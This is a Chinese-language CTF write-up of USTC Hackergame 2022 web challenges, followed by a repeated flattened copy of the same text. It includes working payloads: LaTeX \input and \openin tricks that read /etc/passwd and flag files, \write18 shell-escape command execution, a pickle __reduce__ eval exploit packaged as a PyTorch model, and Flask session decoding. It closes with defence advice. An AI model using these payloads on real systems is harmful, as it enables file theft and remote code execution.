从2022中科大hackgame web中学习pdflatex RCE和python反序列化
字数 1519 2025-08-26 22:11:45

从2022中科大HackGame学习PDFLaTeX RCE与Python反序列化

1. Xcaptcha - Python请求与Flask Session伪造

1.1 题目分析

  • 题目要求在一秒内完成三次加法验证
  • 验证码数字隐藏在网页中,需要通过爬虫提取并计算

1.2 解题方法

  1. 使用Python requests库发送GET请求获取页面
  2. 用BeautifulSoup解析HTML,提取三个加法题目
  3. 计算结果并构造POST请求提交
  4. 关键点:第二次请求需要使用第一次响应中的Set-Cookie
import requests
from bs4 import BeautifulSoup

# 第一次GET请求获取题目和cookie
req = requests.get(url, headers=http_header1)
cookie = req.headers.get("Set-Cookie")

# 解析题目并计算
soup = BeautifulSoup(req.text, 'html.parser')
capters = soup.find_all('div', class_='form-group')
results = []
for capter in capters:
    expr = capter.text.strip("的结果是?\n")
    a, b = expr.split('+')
    results.append(int(a) + int(b))

# 第二次POST提交结果
data = {'captcha1': results[0], 'captcha2': results[1], 'captcha3': results[2]}
requests.post(url, headers=http_header2, data=data)

1.3 Flask Session伪造

  • Flask的session存储在客户端cookie中,未加密时可被解析
  • Session结构:数据.时间戳.签名
  • 解密脚本:
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decrypt_session(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    
    if payload.startswith(b'.'):
        payload = payload[1:]
        payload = zlib.decompress(base64_decode(payload))
    
    return session_json_serializer.loads(payload)

2. LaTeX机器人 - PDFLaTeX RCE

2.1 题目分析

  • 网站将用户输入的LaTeX插入到模板中编译为PDF
  • 目标:读取服务器上的flag文件(/flag1和/flag2)

2.2 解题方法

方法1:使用\input命令

\input{/etc/passwd}  % 读取任意文件

方法2:使用文件读取原语

\newread\file
\openin\file=/flag2
\loop\unless\ifeof\file
    \read\file to\fileline 
    \fileline
\repeat
\closein\file

特殊字符处理

flag2包含#和_,需要修改字符类别代码:

\catcode`\#=11  % 将#设为字母类别
\catcode`\_=11  % 将_设为字母类别

2.3 PDFLaTeX RCE原理

  • PDFLaTeX支持\write18执行系统命令
  • 配置文件中shell_escape = p允许部分命令执行
  • 可利用命令包括:bibtex, kpsewhich, makeindex等
\immediate\write18{bibtex8 --wolfgang \jobname}  % 执行命令
\input{|bibtex8 --wolfgang \jobname}  % 另一种执行方式

3. 微积分计算小练习 - XSS漏洞

3.1 题目分析

  • 成绩页面通过URL参数result传递base64编码的成绩和用户名
  • 页面使用innerHTML动态显示内容,存在XSS漏洞

3.2 解题方法

  1. 构造恶意用户名触发XSS:

  1. Base64编码后作为用户名提交
  2. Bot会访问该URL,将flag写入cookie并显示

4. 二次元神经网络 - Python反序列化

4.1 题目分析

  • 网站接受用户上传的PyTorch模型文件(.pt)
  • 模型文件使用pickle序列化,存在反序列化漏洞

4.2 Python反序列化原理

  • pickle.load()torch.load()使用相同反序列化机制
  • 可通过__reduce__方法执行任意代码

4.3 解题方法

  1. 构造恶意模型文件,覆盖正确答案:
import torch

class Exploit(object):
    def __reduce__(self):
        return (eval, ("open('/tmp/result.json', 'w').write('正确JSON内容')",))

torch.save(Exploit(), "model_exp.pt")
  1. 上传模型文件,触发反序列化执行代码

4.4 替代方案

利用模型参数直接构造正确结果:

args = "json.dump({'gen_imgs_b64': [...]}, open('/tmp/result.json', 'w'))"

5. 关键知识点总结

5.1 PDFLaTeX安全

  • 文件读取:\input, \include, \openin
  • 命令执行:\write18, 受限于shell_escape_commands
  • 字符处理:\catcode修改字符类别

5.2 Python反序列化

  • 危险函数:pickle.load(s), torch.load
  • 利用方式:__reduce__返回可调用对象和参数
  • 操作码:R(元组调用), i(实例化调用), o(直接调用)

5.3 Web安全

  • Flask Session:客户端存储,需保护secret_key
  • XSS防御:避免使用innerHTML,转义用户输入
  • CSRF防护:检查Referer,使用随机token

6. 防御建议

  1. PDFLaTeX服务:

    • 禁用\write18或限制可执行命令
    • 沙盒环境运行LaTeX编译
    • 过滤用户输入的TeX命令
  2. Python反序列化:

    • 避免反序列化不可信数据
    • 使用JSON等安全格式替代pickle
    • 签名验证序列化数据
  3. Web应用:

    • 设置Flask secret_key
    • 对所有动态内容进行HTML转义
    • 实施严格的CSP策略
从2022中科大HackGame学习PDFLaTeX RCE与Python反序列化 1. Xcaptcha - Python请求与Flask Session伪造 1.1 题目分析 题目要求在一秒内完成三次加法验证 验证码数字隐藏在网页中,需要通过爬虫提取并计算 1.2 解题方法 使用Python requests库发送GET请求获取页面 用BeautifulSoup解析HTML,提取三个加法题目 计算结果并构造POST请求提交 关键点:第二次请求需要使用第一次响应中的Set-Cookie 1.3 Flask Session伪造 Flask的session存储在客户端cookie中,未加密时可被解析 Session结构: 数据.时间戳.签名 解密脚本: 2. LaTeX机器人 - PDFLaTeX RCE 2.1 题目分析 网站将用户输入的LaTeX插入到模板中编译为PDF 目标:读取服务器上的flag文件(/flag1和/flag2) 2.2 解题方法 方法1:使用\input命令 方法2:使用文件读取原语 特殊字符处理 flag2包含#和_ ,需要修改字符类别代码: 2.3 PDFLaTeX RCE原理 PDFLaTeX支持 \write18 执行系统命令 配置文件中 shell_escape = p 允许部分命令执行 可利用命令包括:bibtex, kpsewhich, makeindex等 3. 微积分计算小练习 - XSS漏洞 3.1 题目分析 成绩页面通过URL参数result传递base64编码的成绩和用户名 页面使用innerHTML动态显示内容,存在XSS漏洞 3.2 解题方法 构造恶意用户名触发XSS: Base64编码后作为用户名提交 Bot会访问该URL,将flag写入cookie并显示 4. 二次元神经网络 - Python反序列化 4.1 题目分析 网站接受用户上传的PyTorch模型文件(.pt) 模型文件使用pickle序列化,存在反序列化漏洞 4.2 Python反序列化原理 pickle.load() 和 torch.load() 使用相同反序列化机制 可通过 __reduce__ 方法执行任意代码 4.3 解题方法 构造恶意模型文件,覆盖正确答案: 上传模型文件,触发反序列化执行代码 4.4 替代方案 利用模型参数直接构造正确结果: 5. 关键知识点总结 5.1 PDFLaTeX安全 文件读取: \input , \include , \openin 命令执行: \write18 , 受限于 shell_escape_commands 字符处理: \catcode 修改字符类别 5.2 Python反序列化 危险函数: pickle.load(s) , torch.load 利用方式: __reduce__ 返回可调用对象和参数 操作码: R (元组调用), i (实例化调用), o (直接调用) 5.3 Web安全 Flask Session:客户端存储,需保护secret_ key XSS防御:避免使用innerHTML,转义用户输入 CSRF防护:检查Referer,使用随机token 6. 防御建议 PDFLaTeX服务: 禁用 \write18 或限制可执行命令 沙盒环境运行LaTeX编译 过滤用户输入的TeX命令 Python反序列化: 避免反序列化不可信数据 使用JSON等安全格式替代pickle 签名验证序列化数据 Web应用: 设置Flask secret_ key 对所有动态内容进行HTML转义 实施严格的CSP策略